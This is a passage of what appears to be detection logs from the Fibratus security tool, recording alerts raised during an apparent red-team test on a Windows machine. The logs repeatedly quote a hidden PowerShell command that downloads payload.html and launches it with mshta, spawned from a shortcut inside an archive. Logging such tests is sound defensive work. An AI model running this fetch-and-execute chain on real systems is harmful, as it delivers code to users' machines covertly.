USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-10T17:39:27+01:00 level=info msg=executing kill action: pids=[7148] rule=Suspicious HTML Application script execution source=rules/engine.go:294 +time=2025-12-10T17:39:32+01:00 level=info msg=sending alert: [Suspicious process execution from archive via shortuct file]. Text: Event(s): + Seq: 1931103 + Pid: 8104 + Tid: 3988 + Type: CreateFile + CPU: 5 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-12-10 17:39:31.5791368 +0100 CET + Params: attributes➜ , create_disposition➜ CREATE, create_options➜ SYNCHRONOUS_IO_NONALERT|NON_DIRECTORY_FILE, file_object➜ ffffc90656d78210, file_path➜ C:\Users\nedo\AppData\Local\Temp\Rar$DIa8104.40797\test.lnk, irp➜ ffffc9065deea0f8, share_mask➜ READ, status➜ Success, tid➜ 3988, type➜ File + Metadata: rule.seq.link: 10526882908478636032, rule.name: Suspicious process execution from archive via shortuct file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 8104 + Ppid: 8204 + Name: WinRAR.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files\WinRAR\WinRAR.exe" "C:\Fibratus\redteam\test.zip" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files\WinRAR\WinRAR.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WinRAR\WinRAR.exe" "C:\Fibratus\redteam\test.zip"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8204_1262719628:1 EFC_8204_1592913036:1 EFC_8204_2283032206:1 EFC_8204_2775293581:1 EFC_8204_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\WinRAR;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 1934259 + Pid: 8104 + Tid: 1248 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-10 17:39:31.7378182 +0100 CET + Params: cmdline➜ "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html, directory_table_base➜ 147c00000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc906481ae080, name➜ powershell.exe, pid➜ 16912, ppid➜ 8104, real_ppid➜ 8104, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-10 17:39:31.7377107 +0100 CET, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: rule.seq.link: 10526882908478636032, rule.name: Suspicious process execution from archive via shortuct file, tactic.id: TA0002, tactic.name: Execution, tactic.ref: https://attack.mitre.org/tactics/TA0002/ + + Pid: 8104 + Ppid: 8204 + Name: WinRAR.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files\WinRAR\WinRAR.exe" "C:\Fibratus\redteam\test.zip" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files\WinRAR\WinRAR.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\WinRAR\WinRAR.exe" "C:\Fibratus\redteam\test.zip"] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8204_1262719628:1 EFC_8204_1592913036:1 EFC_8204_2283032206:1 EFC_8204_2775293581:1 EFC_8204_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\WinRAR;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-10T17:39:35+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\System32\AppxSip.dll loaded by unmanaged process C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Event(s): + Seq: 1963574 + Pid: 16912 + Tid: 2964 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-10 17:39:33.093742 +0100 CET + Params: base_address➜ 7ffbef760000, checksum➜ 438050, default_address➜ 7ffbef760000, file_path➜ C:\Windows\System32\AppxSip.dll, image_size➜ 417792, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 16912, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055 + + Pid: 16912 + Ppid: 8104 + Name: powershell.exe + Parent name: WinRAR.exe + Cmdline: "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html + Parent cmdline: "C:\Program Files\WinRAR\WinRAR.exe" "C:\Fibratus\redteam\test.zip" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8204_1262719628:1 EFC_8204_1592913036:1 EFC_8204_2283032206:1 EFC_8204_2775293581:1 EFC_8204_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\WinRAR;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-10T17:39:35+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\System32\AppxSip.dll loaded by unmanaged process C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Event(s): + Seq: 1963574 + Pid: 16912 + Tid: 2964 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-10 17:39:33.093742 +0100 CET + Params: base_address➜ 7ffbef760000, checksum➜ 438050, default_address➜ 7ffbef760000, file_path➜ C:\Windows\System32\AppxSip.dll, image_size➜ 417792, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 16912, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055 + + Pid: 16912 + Ppid: 8104 + Name: powershell.exe + Parent name: WinRAR.exe + Cmdline: "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html + Parent cmdline: "C:\Program Files\WinRAR\WinRAR.exe" "C:\Fibratus\redteam\test.zip" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8204_1262719628:1 EFC_8204_1592913036:1 EFC_8204_2283032206:1 EFC_8204_2775293581:1 EFC_8204_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\WinRAR;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-10T17:39:47+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\System32\AppxSip.dll loaded by unmanaged process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + Event(s): + Seq: 2037447 + Pid: 4484 + Tid: 17776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-10 17:39:38.8571613 +0100 CET + Params: base_address➜ 7ffbef760000, checksum➜ 438050, default_address➜ 7ffbef760000, file_path➜ C:\Windows\System32\AppxSip.dll, image_size➜ 417792, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 4484, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005 + + Pid: 4484 + Ppid: 11780 + Name: powershell.exe + Cmdline: powershell.exe -NoProfile -Command "& {if($PSVersionTable.PSVersion.Major -ge 3){Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\\Microsoft.VisualStudio.DevShell.dll'; Send-VsDevShellTelemetry -NewInstanceType Cmd; }}" + Exe: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell.exe -NoProfile -Command "& {if($PSVersionTable.PSVersion.Major -ge 3){Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\\Microsoft.VisualStudio.DevShell.dll'; Send-VsDevShellTelemetry -NewInstanceType Cmd; }}"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-10T17:39:47+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\System32\AppxSip.dll loaded by unmanaged process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + Event(s): + Seq: 2037447 + Pid: 4484 + Tid: 17776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-10 17:39:38.8571613 +0100 CET + Params: base_address➜ 7ffbef760000, checksum➜ 438050, default_address➜ 7ffbef760000, file_path➜ C:\Windows\System32\AppxSip.dll, image_size➜ 417792, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 4484, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005 + + Pid: 4484 + Ppid: 11780 + Name: powershell.exe + Cmdline: powershell.exe -NoProfile -Command "& {if($PSVersionTable.PSVersion.Major -ge 3){Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\\Microsoft.VisualStudio.DevShell.dll'; Send-VsDevShellTelemetry -NewInstanceType Cmd; }}" + Exe: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [powershell.exe -NoProfile -Command "& {if($PSVersionTable.PSVersion.Major -ge 3){Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\\Microsoft.VisualStudio.DevShell.dll'; Send-VsDevShellTelemetry -NewInstanceType Cmd; }}"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-10T17:39:48+01:00 level=info msg=sending alert: [Suspicious HTML Application script execution]. Text: Suspicious HTML Application script execution by mshta process with command line arguments "C:\WINDOWS\system32\mshta.exe" C:\Users\nedo\AppData\Local\Temp\payload.html + Event(s): + Seq: 2051089 + Pid: 16912 + Tid: 1256 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-10 17:39:39.7379087 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\mshta.exe" C:\Users\nedo\AppData\Local\Temp\payload.html , directory_table_base➜ 41bc9a000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\mshta.exe, exit_status➜ Success, flags➜ , kproc➜ ffffc9064c3ec080, name➜ mshta.exe, pid➜ 10216, ppid➜ 16912, real_ppid➜ 16912, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-10 17:39:39.7378278 +0100 CET, token_elevation_type➜ LIMITED, token_integrity_level➜ MEDIUM, token_is_elevated➜ false, username➜ nedo + Metadata: technique.id: T1218, tactic.name: Defense Evasion, subtechnique.id: T1218.005, tactic.id: TA0005, technique.name: System Binary Proxy Execution, subtechnique.ref: https://attack.mitre.org/techniques/T1218/005/, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.ref: https://attack.mitre.org/techniques/T1218/, subtechnique.name: Mshta, rule.name: Suspicious HTML Application script execution + + Pid: 16912 + Ppid: 8104 + Name: powershell.exe + Parent name: WinRAR.exe + Cmdline: "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html + Parent cmdline: "C:\Program Files\WinRAR\WinRAR.exe" "C:\Fibratus\redteam\test.zip" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -Command "Start-Process -WindowStyle Hidden mshta.exe $env:TEMP\payload.html"; Invoke-WebRequest -Uri 'http://localhost' -OutFile $env:TEMP\payload.html] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8204_1262719628:1 EFC_8204_1592913036:1 EFC_8204_2283032206:1 